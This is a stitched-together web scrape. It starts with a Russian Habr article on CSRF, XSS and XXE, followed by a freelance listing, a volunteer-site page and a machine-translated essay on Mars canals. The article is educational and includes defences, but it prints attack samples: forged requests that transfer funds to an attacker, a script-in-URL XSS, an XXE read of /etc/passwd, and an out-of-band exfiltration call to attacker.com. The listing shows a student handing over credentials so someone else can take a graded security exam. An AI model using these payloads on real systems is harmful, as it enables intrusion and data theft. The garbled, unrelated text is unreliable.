Веб-безопасность 201 / Хабр

Сегодня — вторая часть теории, которую рассказал эксперт по информационной безопасности и преподаватель Иван Юшкевич, когда проводил мастер-класс по безопасности на конференции РИТ++ на платформе hacktory.ai.

Практическую часть о том, как накрутить лайки в социальных сетях, украсть криптовалюту и получить доступ к самым большим секретам пользователей, вы можете посмотреть здесь и здесь. Первую часть можно посмотреть по этой ссылке. 

Сегодня рассказ будет о CSRF, XSS и XXE. 

Cross Site Request forgery (CSRF)

Межсайтовая подделка запросов (cross-Siie Request Forgery, CSRF) — тип атаки на пользователя, когда злоумышленник обманным путем заставляет пользователя отправить подделанный запрос веб-приложению, в котором пользователь уже аутентифицирован. Это может быть достигнуто, например, методом социальной инженерии: подделанный запрос встраивается в письмо или ссылку на сайте, на которую пользователь нажмет с большой долей вероятности.

Вредоносные запросы направляются на конечный сайт через браузер жертвы. Приложение, которое принимает эти запросы, не может отличить правомерный запрос от зловредного, так как пользователь уже аутентифицирован в нем на момент атаки.

В результате злоумышленник может изменить пароль, секретный вопрос пользователя или настройки его профиля. Он получает доступ к оправке почты, может добавить себя в администраторы сайта и т.д. 

Как выглядит атака

Есть несколько способов вовлечь пользователя в атаку и заставить его отправить информацию веб-приложению. Разберем два сценария.

Сценарий с GET

Предположим, в приложении для выполнения действий используются GET-запросы, а запрос на покупку акций выглядит так:

GET /buy?symbol=DSC?amount=9999 HTTP/1.1

Host: stocks.com

Referer: http://stocs.com/main

Cookie: JSESSID=hb035a35c2a

Чтобы достигнуть своей цели, злоумышленнику нужно заставить браузер жертвы перейти по сформированной ссылке. Например, одним из двух путей:

<а href=»//stocks.com/transfer.do?acct=ATTACKER&amount=100000”>View Pictures!</а>

<img src=»http://stocks.com/transfer.do?acct=ATTACKER&amount=100000″>

Когда браузер начнет грузить изображение, он отправит GET-запрос по указанному адресу. Котики не загрузятся, но запрос будет выполнен: 

Так как куки поставляются вместе с запросом, то пользователь уже будет аутентифицирован на этом сайте. Поэтому куки подставятся автоматически, и на запрос из stocks.com успешно обработается покупка акций.

Сценарий c POST

Второй сценарий чуть сложнее, чем с GET, но тоже вполне реализуем. POST запрос нельзя передать, используя стандартные теги А и IMG, но можно это сделать через тег-формы:

Так можно создать скрытую форму, у которой есть только одна кнопка — что-то показать пользователю. Пользователь на нее нажимает, ничего не видит, а акции с его счета перевелись злоумышленнику.

Если отправить форму с помощью JS, то от пользователя даже не потребуется нажимать кнопку. Этот код автоматически отправит подтверждение при полной загрузке страницы:

Тестируем и предотвращаем

Чтобы протестировать сайт на эту уязвимость, нужно проверить, присутствует ли в запросе, выполняющем то или иное действие, CSRF-токен. Этот токен — главная защита от Cross Site Request forgery.

Если токен есть, то убедитесь, что он проверяется. То есть проверяется именно то, что совпадает — заголовки и в токен, и в форме, которая отправляется. Потому что может проверяться только длина или наличие, а токены могут выдаваться как 123 (например, хэш). Это не очень безопасно. Для этого можно удалить токен или изменить его. И если запрос будет выполнен, и его результат такой же, как и с CSRF-токеном, значит токены не проверяются. И, вероятно можно провести атаку.

Также можно проверить успешность запроса поменяв/изменив содержимое заголовка «Referer». Иногда защита строится на нём.

Чтобы исправить и предотвратить такие атаки, CSRF-токены должны обновляться в течение некоторого времени, каждый раз они должны быть уникальными, и уникальными для каждого пользователя. И учтите все типы данных (mime types): url-encode form, JSON, XML.

Есть еще относительно новый метод защиты от CSRF-атак — Same-Site Cookie Flag. При наличии флага Same-Site куки в этом случае отправляются только с запросами, которые происходят из того же домена. То есть запросы от других сайтов выполняться не будут.

XSS (Cross Site Scripting или межсайтовый скриптинг)

XSS возникает из-за небезопасной обработки пользовательского ввода. В ходе атаки злоумышленник может выполнить вредоносный JavaScript в браузере жертвы. В контексте уязвимого сайта всё, что делает пользователь, может сделать злоумышленник с помощью JavaScript. То есть прочитать и изменить любые данные, доступные пользователю или захватить учетные данные пользователя и его сессию. 

Конкретные последствия зависят от приложения, его функциональности и данных, а также статуса скомпрометированного пользователя.

Разновидности межсайтового скриптинга

Существует три разновидности межсайтового скриптинга: отраженный, хранимый и DOM based.

Отражённый межсайтовый скриптинг (Reflected XSS)

При такой атаке вредоносная строка (скрипт) содержится в запросе жертвы к сайту. Сайт включает эту строку в состав ответа, который отправляет пользователю и нигде его не хранит. В этом случае вредоносные входные данные сразу попадают в вывод. 

Например, на сайте есть скрипт, который берет значение name из запроса и выводит его на страницу:

Отправляя запрос на website.com/xss.php с разным параметром name, получаем:

В последнем запрос можно вставить теги, то есть, возможно, это место уязвимо к XSS.

Также можно увидеть, что скрипт напрямую выводит результат HTML в запросе, и это значит, что он уязвим. Если внедрить в запрос JS-код в качестве значения name, то результат его выполнения будет выведен на страницу. 

Хранимый межсайтовый скриптинг (Stored XSS)

Хранимый возникает, когда приложение сохраняет payload и включает его в последующие HTTP-ответы без должной санитизации. То есть либо он его не провалидировал и не очистил при сохранении данных в базу, либо не санитизирует при выводе (не кодирует в html сущности и т. д.)

Это могут быть ники в чатах, содержимое писем, формы заказов, функциональность загрузки файлов. Могут быть комментарии к посту, и каждый, кто зайдет в этот пост, увидит этот комментарий (и, возможно, алёрт, если говорить про обучение).

Разберём пример. На гипотетическом сайте есть форма отправки комментариев, где нужно написать заголовок, добавить комментарий и отправить форму. Всё, казалось бы, хорошо? Нет. Если данные включаются в ответ без обработки, то вместо комментария можно вставить скрипт и прокинуть XSS:

При этом XSS у нас хранимый, а значит, каждый, кто зайдет в этот пост и увидит комментарий — схватит XSS.

Dom Based XSS

DOM based возникает, когда JavaScript на клиентской стороне некорректно обрабатывает данные. Или, возможно, обрабатывает корректно, но из не доверенного источника и небезопасным способом — и, как правило, записывая данные напрямую в DOM.

Например, злоумышленник формирует URL с вредоносным скриптом и передает его жертве:

http://website. com/vulnpage.php#fragmert<script>alert()</script>

Жертва открывает вредоносный URL, сайт отображает страницу, при этом всё, что после символа #, на сервер не передается. Зато сценарий JS в браузере жертвы обрабатывает фрагмент (#) и подставляет в DOM страницы. В результате внедренный код срабатывает, и мы снова получаем XSS.

Поиск XSS   

Найти XSS, в первую очередь, можно ручным тестирование приложения на уязвимость к отраженному и хранимому XSS. Как правило, тестирование состоит из следующих этапов:

1. Отправка набора символов HTML, например, короткой комбинации “‘><xss в каждую точку входа приложения. О наличии уязвимости можно судить в зависимости от того, какие символы были отфильтрованы, а какие — нет;

2. Проверка каждого параметра, где введенные данные возвращаются в НТТР-ответах, чтобы проверить на хранимый XSS;

3. Тестирование каждого HTTP-запроса отдельно, чтобы определить, можно ли выполнить произвольный JavaScript код с помощью специально составленного ввода.

Исправление и предотвращение XSS

Чем сложнее приложение, тем труднее защитить его от XSS. Есть определенный список мер и всё уже сделано до нас:

• При выводе данных пользователя использовать функциональность, предоставляемую фреймворками. Зачастую головная боль в борьбе с XSS у них уже решена.

• В точках приема пользовательского ввода фильтрация должна быть как можно более строгой и основана на ожидаемом/проверенном вводе.

• В точках вывода данных, контролируемых пользователем в HTTP-ответах, вывод должен быть закодирован так, чтобы он не мог быть интерпретирован как активный контент.

• При фильтрации учитывайте контекст: вставляем в HTML теги атрибуты, используем URL-encode или выполняем что-то с помощью JS.

• Самый современный способ защиты — внедрение корректной Content Security Policy (CSP). Это значительно снизит вероятность эксплуатации XSS.

XXE: XML External Entity Processing

История появления XML External Entity (XXE) довольно интересна. Уязвимость известна с 1999-2000 годов. Тогда много разработчиков обсуждало то, что саму функциональность парсера можно теоретически использовать для каких-то злонамеренных действий. То есть все о ней знали, но никто не проверял.

Но однажды один исследователь объединил все эти наработки и попробовал реализовать. Так появилась уязвимость XXE. И на самом деле уязвимость встречается крайне часто. Практически любая компания, разрабатывающая продукт, который обменивается данными или представляет данные в формате XML, так или иначе уже её имеет (или когда-нибудь встретит).

Эта уязвимость для ХМL-документов эксплуатирует одну из функциональных возможностей XML-парсеров. Парсер перед обработкой документа должен провести проверку на соответствие документа заявленному. При этом есть два варианта определения типа: XML Schema Definition (XSD) и Document Type Definition (DTD). Последняя и используется для XXE.

Тип документа декларируется в теге DOCTYPE — в этой строке содержится ссылка на DTD схему (перечень допустимых атрибутов, элементов, их типы и т. д.), которая будет использоваться для проверки (валидации) документа. Если мы укажем с помощью директивы в этом теге значение какого-то элемента, мы его сможем подставить в документ. Что очень удобно при генерации промежуточных результатов, банковских отчетов или экспорта чего бы то ни было.

Сущности при этом есть абсолютно разные. DTD предусматривает возможность задать часто используемые элементы — Entities — локальные и внешние. Посмотрим, как это выглядит.

Предположим, есть XML-документ, состоящий из тэга foo, содержащего в себе слово Hello и сущность bar. Эта сущность объявлена в DOCTYPE и представляет собой прямую ссылку на слово World. При обработке парсер вставит вместо ссылки саму сущность: Hello World.

Все просто и понятно. Но именно на этой особенности обработки XML-документов основывается уязвимость. Например, если в качестве значения параметра bar мы укажем с помощью директивы SYSTEM ссылку на какой-то файл, то парсер попытается разрезолвить эту сущность и прочитать этот файл. В итоге мы вместо Hello World получим:

А это приведет к чтению произвольных файлов системы. 

Критичность

С помощью ХХЕ атаки на приложение злоумышленник сможет прочитать абсолютно любые файлы на сервере. Например, исходные тексты, конфигурационные файлы, пароли БД, учетные данные аккаунта администратора и т. д.

Он может спровоцировать отказ в обслуживании, значительно увеличив нагрузку на систему. Например, попытавшись прочитать содержимое таких файлов, как «/dev/null», «/dev/random» или файла подкачки Windows. 

При некоторых условиях ему будет доступно просканировать локальную сеть и совершить произвольные сетевые запросы от имени сервера (SSRF). А если ему необычайно повезет, то и выполнить  произвольные команды на сервере (RCE).

Несколько репортов, которые затрагивают довольно крупные компании:

1. XXE in Site Audit function exposing file and directory contents ($2000)

2. XXE on sms-be-vip.twitter.com in SXMP Processor ($10080)

3. XXE on pulse. mail.ru ($6000)

4. Blind XXE via Powerpoint files ($2000)

5. XXE at ecjobs.starbucks.com.cn/retail/hxpublic_v6/hxdynamicpage6.aspx ($4000)

6. Любой другой сервис в 2к20 (изменить год)

В качестве примера разберем первый репорт из спойлера. Предположим, есть сервис или робот, который сканирует ресурсы и ищет сайт на Sitemap.xml. Последний содержит карту сайта, чтобы потом считывать те или иные ссылки, ходить по ним и обновлять эту карту сайта. Сам сайт Sitemap.xml выглядит следующим образом:

Что может сделать злоумышленник? Например, можно в качестве карты сайта записать XML-документ, который будет считывать etc/passwd:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE foo [ <!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM “file:///etc/passwd" >]>

Когда робот попытается прочитать этот документ и запустит XML парсер, то вместо карты сайта получит значение, которое содержится в etc/passwd.  

XML в составе других документов

Злоумышленнику интересен не только обычный XML-документ, но и то, что XML-файлы используются в огромном количестве других структур документов. 

Например, если посмотреть, что действительно содержится в документе PowerPoint или Word, то мы увидим ZIP-архивы, внутри которых — огромное количество разнообразных XML-документов, отвечающих за конфигурацию, шрифты и вообще за что угодно:

Если поисследовать другие форматы файлов, может быть, связанные с БД, то в них можно тоже обнаружить XML-документы. Для их разбора и используется XML-парсер, который может быть уязвим.

Рассмотрим типичные атаки на XML-парсер.

Пример 1. Отказ в обслуживании системы

Это самый хрестоматийный случай — попробовать вызвать отказ в обслуживании или так называемую атаку Billion Laughs. Ее соль — в использовании вложенных сущностей. Например, объявляем сущность lol, которая состоит из трех букв. Дальше объявляем сущность lol1, состоящую из множества сущностей lol:

Парсер увидит сущность lol1 и что она ссылается на сущность lol — и разрезолвит сначала сущность lol, а потом lol1, и т. д. Поэтому, когда мы увидим сущность lol5, то парсер сначала попытается разрезолвить lol4, lol3, lol2, и так до самого конца. В итоге получается некая геометрическая прогрессия: чтобы разрезолвить сущность lol5, ему придется затратить огромное количество памяти, что в свою очередь может привести к отказу в обслуживании.

Поэтому некоторые парсеры по дефолту запрещают возможность использование огромного количества сущностей. Если количество резолвов сущностей превышает какое-то число, они выбрасывают ошибку. Но есть некоторые варианты, когда и это можно обойти. Для этого, например, можно не объявлять огромное количество вложенных сущностей, а сделать несколько сущностей, которые будут иметь сами по себе большой размер.

В результате мы получим то же самое. Документ будет намного больше, и это тоже может привести к отказу в обслуживании.

Пример 2. Чтение локальных фалов

Так как с помощью парсера XML можно считывать произвольные файлы с диска, то указав директиву SYSTEM, можно поставить дальше файл, который мы бы хотели считать.

Пример 3. Обращение внутри локальной сети

Но есть еще более интересный момент. Считывание файлов – это, конечно, интересно, но с помощью XXE можно даже просканировать внутреннюю сеть и при некоторых особенностях отправить запросы на внутренние сервисы. Например, можно указать в качестве значения сущности ссылку на внутренний хост, до которого из внешней сети доступа нет.

Парсер попробует сходить на этот хост и получить оттуда какие-то данные. Если такого хоста нет либо порт закрыт, то мы можем увидеть интересную ошибку:

В результате нам ничего не мешает просканировать всю внутреннюю сеть, где находится сервер. Также можно обнаружить сервис, который принимает GET-запросы, и тоже заставить его выполнить какие-то действия.

Пример 4. Выполнение команд ОС в PHP

В исключительных случаях (думаю, вас это уже не затронет) можно получить возможность выполнения команд на сервере. Конечно, по дефолту парсер это не поддерживает, однако есть ряд интересных расширений, которые могут быть установлены дополнительно.  

Например, для языка PHP это расширение PHP expect. Эти расширения позволяют указать схему expect и дальше написать ту или иную команду, которая будет выполнена в ОС:

Однако сейчас поддержка этого расширения уже прекращена, поэтому встретить его в современном мире, наверно, практически невозможно.

Пример 5. Out-of-band техника

Не всегда при обработке XML-документов можно увидеть результаты работы парсера. Например, когда мы передали что-то на сервер, он что-то сформировал, передал на свои внутренние системы, а там все обработалось, и выдался результат. 

И в этом случае нашлись разные подходы для получения результата работы XML-парсера, даже если мы не можем напрямую работать с ним. Это так называемая Out-of-band техника. 

Её суть в передаче на выполнение нашей собственной схемы DTD, внутри которой будет ссылка на наш подконтрольный ресурс, который мы можем мониторить. В случае, если приложение не возвращает в HTTP ответе содержимое ошибки XML парсера, то можно сделать канал связи с использованием HTTP, FTP, DNS запросов на внешний сервер.

Например, есть некоторая сущность FILE, которая ссылается на etc/issue, и есть схема, которая находится на нашем сервере evil.dtd. Внутри схемы есть еще одна сущность SEND, назначение которой — ссылаться на наш хост, и в качестве параметра указывается значение этого файла:

Парсер сходит на наш хост, подгрузит сущность DTD, разрезолвит значение FILE, подставит его в сущность SEND и дальше попытается разрезолвить сущность SEND. В итоге парсер отправит запрос со значением FILE на наш сервер. Нам остается только слушать этот хост и ждать, когда придет значение этого FILE.

После обработки всех сущностей парсер выполнит запрос:

http://attacker.com/collect?=Ubuntu%20l6.04.l%20LTS

То есть даже не видя того, как работает парсер с документом, не видя ошибок, мы всё равно можем попытаться считать тот или иной файл и получить его по сторонним каналам.

Исправление и предотвращение

Самый очевидный и наиболее эффективный способ предотвратить ХХЕ — это полностью запретить использование DTD и внешних сущностей в XML-документах.  

Конечно, иногда это нужно использовать. Тогда необходимо проверять, что документ соответствует той или иной схеме. Современные фреймворки и языки программирования позволяют это делать.

При проектировании API учитывайте обработку различных форматов запросов от клиентов — URL-Encode/JSON/XML

Это интересный момент, про который многие забывают. Некоторые endpoints принимают документы в формате JSON. Если пользователь укажет, что документ, который он пересылает, не JSON, а XML, то в некоторых случаях файл может быть принят и обработан как XML-документ. 

Принцип наименьших привилегий всё так же позволяет сократить ущерб, хотя и не защищает от ХХЕ-атак.

Все наши приложения должны работать из-под учетных записей с наименьшими привилегиями, чтобы минимизировать возможный ущерб от действий злоумышленника.

Также есть инструменты, позволяющие генерировать документы docx, pptx и другие для тестирования их обработки различными парсерами.

В следующей статье завершим эту трилогию рассмотрением уязвимостей сериализации и как обойти аутентификацию.

11-12 октября в Москве пройдет профессиональная конференция фронтенд-разработчиков — FrontendConf 2021.

Билеты, расписание, доклады.

Решение задач Решить 📝 5 задача по Web-безопасности (Hacktory) Информаци в Якутске

Онлайн-сервис
помощи студентам

Видео о сервисе

Эксперты сайта vsesdal.com проводят работу по подбору, обработке и структурированию материала по предложенной заказчиком теме. Результат данной работы не является готовым научным трудом, но может служить источником для его написания.

Информационная безопасность и защита информации

Решить 5 задача по Web-безопасности (Hacktory)

• Задание
• Обсуждение

2790311

Решение задач

Информационная безопасность и защита информации

Заказ выполнен

Есть учебная площадка www. hacktory.ai
Мне нужно решить финальных 5 задач по пройденному курсу.
Дается одна попытка, время 24 часа.
Темы, по которым 100% будут задачи представлены в скрине.
Логин / пароль конечно же отправлю.
Добавить мне нечего, если разбираетесь в ИБ, то наверное представляете какого типа задачи.
А так на любые вопросы отвечу.

Это место для переписки тет-а-тет между заказчиком и исполнителем.
Войдите в личный кабинет (авторизуйтесь на сайте) или
зарегистрируйтесь, чтобы
получить доступ ко всем возможностям сайта.

Закажите подобную или любую другую работу недорого

или

Последние размещенные задания

1 минуту назад

3 минуты назад

3 минуты назад

4 минуты назад

5 минут назад

5 минут назад

8 минут назад

9 минут назад

10 минут назад

10 минут назад

11 минут назад

11 минут назад

11 минут назад

11 минут назад

11 минут назад

11 минут назад

11 минут назад

11 минут назад

Разместите заказ и получите
предложения с ценами
экспертов

Выберите эксперта
по цене и отзывам

Сдайте работу на проверку
преподавателю

Получите положительную оценку,
оплатите работу и оставьте
отзыв эксперту

Узнать стоимость

Узнать стоимость

Заботимся о вас
и вашем времени

Экономия времени

Теперь у вас есть время на друзей, любимые занятия,
работу и семью

Удобный интерфейс

Современный дизайн, созданный для удобства
пользователей сайта

1. Сколько стоит помощь?

Цена, как известно, зависит от объёма, сложности и срочности. Особенностью «Всё сдал!» является то, что все заказчики работают со экспертами напрямую (без посредников). Поэтому цены в 2-3 раза ниже.

2. Каковы сроки?

Специалистам под силу выполнить как срочный заказ, так и сложный, требующий существенных временных затрат. Для каждой работы определяются оптимальные сроки. Например, помощь с курсовой работой – 5-7 дней. Сообщите нам ваши сроки, и мы выполним работу не позднее указанной даты. P.S.: наши эксперты всегда стараются выполнить работу раньше срока.

3. Выполняете ли вы срочные заказы?

Да, у нас большой опыт выполнения срочных заказов.

4. Если потребуется доработка или дополнительная консультация, это бесплатно?

Да, доработки и консультации в рамках заказа бесплатны, и выполняются в максимально короткие сроки.

5. Я разместил заказ. Могу ли я не платить, если меня не устроит стоимость?

Да, конечно — оценка стоимости бесплатна и ни к чему вас не обязывает.

6. Каким способом можно произвести оплату?

Работу можно оплатить множеством способом: картой Visa / MasterCard, с баланса мобильного, в терминале, в салонах Евросеть / Связной, через Сбербанк и т.д.

7. Предоставляете ли вы гарантии на услуги?

На все виды услуг мы даем гарантию. Если эксперт не справится — мы вернём 100% суммы.

8. Какой у вас режим работы?

Мы принимаем заявки 7 дней в неделю, 24 часа в сутки.

или

Задать вопрос

Тип работыВыберите тип работыКонтрольнаяРешение задачКурсоваяРефератОнлайн-помощьТест дистанционноДипломЛабораторнаяЧертежОтчет по практикеЭссеОтветы на билетыПрезентацияПеревод с ин. языкаДокладСтатьяСочинениеМагистерская диссертацияКандидатская диссертацияБизнес-планПодбор литературыШпаргалкаПоиск информацииРецензияДругое

волонтерских возможностей Hacktory | Волонтер Матч

Виртуальные возможности

Помощь с COVID-19

Причина Область

• Искусство и культура

• Дети и молодежь

• Компьютеры и технологии

• Образование и грамотность

• Женщины

Расположение

Получить направления

Будьте первым, чтобы
написать отзыв

(

39. 95937

,

-75.19474

)

Получить направления

Будьте первым, чтобы
написать отзыв

Активные возможности

Эта организация не имеет активных возможностей.

Найдите возможности добровольцев от тысяч организаций, которые нуждаются в вашей помощи.

Найдите возможности стать волонтером

Информация об организации

Заявление о миссии

The Hacktory стремится сделать технологии всех видов доступными для людей любого происхождения и уровня навыков. Мы поощряем самостоятельный подход к обучению и максимально внедряем творчество и искусство в наши программы. Наши программы включают занятия для взрослых, послешкольные программы, семейные семинары и членский доступ к нашим передовым инструментам, включая 3D-печать и лазерную резку.

Описание

Общественное пространство для творчества в Западной Филадельфии.

Отзывы

Вы бы порекомендовали The Hacktory?

0 отзывов

Написать отзыв

Сообщить об этой организации

Настоящая хакерская история марсиан

Истории 10 мая 2019 г.

У нас есть все, что нам может понадобиться здесь, на нашем собственном синем шарике. Воздух, чтобы дышать, вода, чтобы пить, солнце, чтобы согревать нашу кожу, и милые животные, которых можно есть и/или порабощать в качестве наших «домашних питомцев».

Тем не менее, у нас есть ухмыляющееся увлечение в стиле «Окна во двор» соседним домом из красного кирпича. Это дом поменьше, с однотонной покраской, лужайкой под паром, и мы даже никогда не видели соседей. Но что-то там происходит, чувак. Что-то до . И до тех пор, пока наша сломанная нога не позволяет нам пройтись по улице, чтобы проверить это самим, наше воображение будет разыгрываться.

Я говорю: Марс. У нас есть кое-что для Марса.

Но почему Марс? Почему из всех планет нашей Солнечной системы именно Марс захватывает человеческое воображение теориями об инопланетных цивилизациях? Почему марсиане, а не, скажем, юпитерианцы?

Ответ прост: итальянский — сложный язык для англоговорящих.

Оставить лучевую пушку, взять Канали

Все началось с итальянского астронома Джованни Вирджинио Скиапарелли.

В 1877 году Скиапарелли был помощником наблюдателя в обсерватории Брера в Милане, когда он начал картографировать поверхность Марса. Благодаря мощному телескопу обсерватории и удачному выбору времени — орбиты Марса и Земли приблизили две планеты относительно близко друг к другу — Скиапарелли смог различить более светлые и более темные части марсианского ландшафта.

На картах Скиапарелли эти области стали морями и континентами. Он назвал их в честь кусочков истории и мифологии, таких как Эдем, Сидония, Ноахис (Ной) и Прометей.

Он также наблюдал и нанес на карту около сотни каналов —каналов, пересекающих марсианские «континенты» и соединяющих его «моря».

Скиапарелли опубликовал свои выводы, которые были подхвачены англоязычными журналами и газетами. Когда журналисты переводили его с итальянского языка Скиапарелли, они исказили один особенно важный термин: canali .

Как я уже упоминал, canali означает «каналы». Но это также больше похоже на другое английское слово: каналы. Вот что сделали редакторы англоязычных журналов, и другие СМИ последовали их примеру.

Каналы и каналы очень похожи, но есть одно большое различие: каналы возникают естественным образом, но каналы должны быть спроектированы и построены, как правило, людьми.

Этот последний фрагмент был особенно очевиден для людей, живших в 1870-х годах. Менее десяти лет назад был завершен Суэцкий канал, и это было чудо инженерной мысли той эпохи. Каналы могли образоваться где угодно, но каналы должны были быть построены чем-то разумным и настойчивым. Каналы были подвигом цивилизации.

Разум, сам Скиапарелли позже понял, что его наблюдения были результатом оптической иллюзии: его глаза видели случайные обесцвечивания на поверхности Марса, а его мозг организовал их в узоры — мало чем отличающиеся от того, как мы смотрим на кажущийся хаос Марса. звезды на ночном небе и соедините их воображаемыми линиями, чтобы создать созвездия. А Скиапарелли всегда имел в виду «каналы», не имея в виду их происхождение, не говоря уже о разумной марсианской жизни.

Но эта история уже получила широкое распространение в англоязычном мире. Если на Марсе были каналы, подобные земным, то на нем должна была быть разумная жизнь, похожая на человеческую, чтобы их рыть. ^{1 2}

Персиваль Лоуэлл: богатый парень с большим телескопом

Персиваль Лоуэлл родился в богатой бостонской семье, и поэтому вам лучше поверить, что он учился в Гарварде.

Он закончил обучение в 1876 году — всего за год до того, как Скиапарелли увидел свой канал . На выпускном он выступил с речью о формировании Солнечной системы. Я думаю, тогда, вместо того, чтобы нанимать знаменитого выпускника, они просто позволяли самому богатому студенту подняться туда и поболтать об их увлечениях.

Лоуэлл продолжил работать в текстильной сфере, но никогда не переставал быть чокнутым астрономом . Он читал переводы работ Скиапарелли в 1890-х годах, в том числе эту ерунду о «каналах», и был весь взволнован для некоторых марсианских наблюдений, когда Марс в следующий раз приблизится к Земле.

Видите ли, когда вы видный человек с наследством и успешным текстильным бизнесом, это может предоставить вам определенные возможности. Например, предположим, вам нравится Марс, вы читали о нем и хотите сами хорошенько его рассмотреть. Ну, как любитель средств, вы бы просто построили обсерваторию.

В преддверии марсианского противостояния 1894 года (когда Марс приблизился к Земле ближе всего) Лоуэлл выбрал хороший участок во Флагстаффе, штат Аризона, на большой высоте, с разреженной атмосферой и в отдалении, что уменьшало световое загрязнение. Все эти факторы сделали его идеальным местом для строительства обсерватории его имени.

Итак, Лоуэлл построил обсерваторию Лоуэлла на Марсовом холме (похоже, он же назвал холм).

Лоуэлл начал наблюдать и зарисовывать поверхность Марса, как и Скиапарелли почти 20 лет назад. И, подобно Скиапарелли, он нашел канал.

Вскоре Лоуэлл объявил, что обнаружил каналы на поверхности Марса, оазисы и сопутствующую растительность, а также свидетельства того, что умирающая цивилизация пытается орошать свои марсианские пустыни. Все «доказательства» разумной жизни на Марсе.

По сути, он увидел то, что хотел увидеть, и то, что он подумал Скиапарелли сказал, что видел. Но все это было воображением Лоуэлла, подпитываемым неправильным переводом и помноженным на предположения.

Но Лоуэлл не знал ничего лучшего, поэтому он опубликовал и распространил свой рассказ, и он поразил воображение публики.

Стоит отметить, что другие ученые не смогли повторить открытия Лоуэлла. Лоуэлл возражал, говоря, что они видны только в правильных условиях. ³

Но что касается газет, те другие ученые и их теории «э-э, мы не видим никаких каналов на Марсе» были скучными. Материал Лоуэлла был гораздо лучшей зацепкой, генерирующей гораздо больше кликов, по крайней мере, тогда они измеряли вовлеченность читателей.

Обратите внимание, например, на Лилиан Уайтинг 1906 Статья New York Times о Лоуэлле под названием «На планете Марс есть жизнь». Вот вкус:

«То, что на Марсе есть каналы, является сегодня признанным астрономическим фактом, любое сомнение в котором сомневающийся просто утверждает, что он неизвестен».

Уайтинг также написал:

«Это открытие связано с блестящим гением, постоянной энергией и удивительной силой исследований Персиваля Лоуэлла».

Что-то вроде пафоса, да? Я понимаю энтузиазм Уайтинга, но это не совсем объективная журналистика. ⁴

Война миров

Когда марсианская жизнь прочно закрепилась в умах публики и средств массовой информации — если не в умах более сдержанных профессиональных ученых — вторжение марсианской поп-культуры было невозможно остановить.

Всего через четыре года после того, как Лоуэлл провел наблюдения за Марсом и стал первым человеком, заявившим о марсианском канале (намеренно), основополагающая работа Герберта Уэллса «Война миров, » была опубликована в виде серии журналов в США и Соединенное Королевство.

Уэллс создал историю о 12-дневном марсианском вторжении на Землю. С тех пор он стал основополагающим произведением научной фантастики и одним из первых рассказов о конфликте между людьми и инопланетянами. ⁵

На Уэллса повлияли публикации Лоуэлла о марсианской жизни. Скиапарелли случайно дал волю воображению публики, а Лоуэлл его поддержал. Но Уэллс задействовал самый мощный аспект общественного воображения: страх.

Если Герберт Уэллс открыл бочку страха, то Орсон Уэллс разбил ее кувалдой, как полицейский эпохи сухого закона.

В 1938 году Орсон Уэллс работал с Театром Меркьюри в прямом эфире, чтобы транслировать радиоадаптацию Война миров . Только вместо того, чтобы представить эту историю как вымысел, Уэллс представил ее как серию выпусков новостей в прямом эфире о приземлении марсианина в Нью-Джерси.

Для тысяч запаниковавших слушателей это было так, как будто Уэллс вторгся в центр иррационального страха их мозга с помощью маленьких зеленых человечков. Последующие радиоадаптации вызывали аналогичные эпизоды массовой истерии, а иногда и смерти. Сейчас это звучит глупо, но имейте в виду, что Нью-Йорк Таймс не так давно опубликовала статью под названием «На планете Марс есть жизнь», в которой скептиков марсианской жизни назвали дебилами. ^{6 7}

Марс (неподвижно) атакует!

Подсознательный страх перед марсианским вторжением уже прошел, но мы по-прежнему очарованы марсианскими границами. Популярные научно-фантастические фильмы теперь используют немного более приземленный подход к исследованию Марса, но они по-прежнему имеют тенденцию исследовать внеземную жизнь (если только они не собираются в китче или Мэтт Деймон выращивает дерьмовую картошку).

Состоятельные энтузиасты вроде Лоуэлла больше не покупают обсерватории, а смотрят в будущее коммерческих межпланетных космических полетов. И пункт назначения почти всегда один и тот же: Марс.

В 1960-х годах NASA Mariners 4, 6 и 7 подошли достаточно близко к Марсу, чтобы сделать несколько крупных планов. Оказывается, не было каналов, canalis , каналов — как ни крути, а их не было.

Скиапарелли был прав, сомневаясь в собственных наблюдениях: они действительно были результатом склонности человеческого разума и глаза воспринимать закономерности там, где их нет, особенно при использовании линзы телескопа для наблюдения за деталями на пределе его диапазона и разрешения.

Но это не значит, что на Марсе нет городов с обширной системой каналов под землей , верно? ⁸

Примечания 📌

1. НАСА. (2003, 30 октября). «Канали» и первые марсиане. Получено с https://www.nasa.gov/audience/forstudents/postsecondary/features/F_Canali_and_First_Martians.html
2. Encyclopaedia Britannica. (2018, 8 марта). Джованни Вирджинио Скиапарелли: итальянский астроном. Получено с https://www.britannica.com/biography/Giovanni-Virginio-Schiaparelli
3. Редд, Нола Тейлор. (2013, 13 февраля). Биография Персиваля Лоуэлла. Получено с https://www.space.com/19774-percival-lowell-biography.html
4. Уайтинг, Лилиан. (1906, 9 декабря). На планете Марс есть жизнь. Получено с https://timesmachine.nytimes.com/timesmachine/1906/12/09/101810982.pdf
5. Стюарт, Эстер МакКаллум. (По состоянию на 12 апреля 2018 г.). Война миров: роман Уэллса. Получено с https://www.britannica.com/topic/The-War-of-the-Worlds-novel-by-Wells
6. Стюарт, Эстер МакКаллум.
   

   This entry was posted in Популярное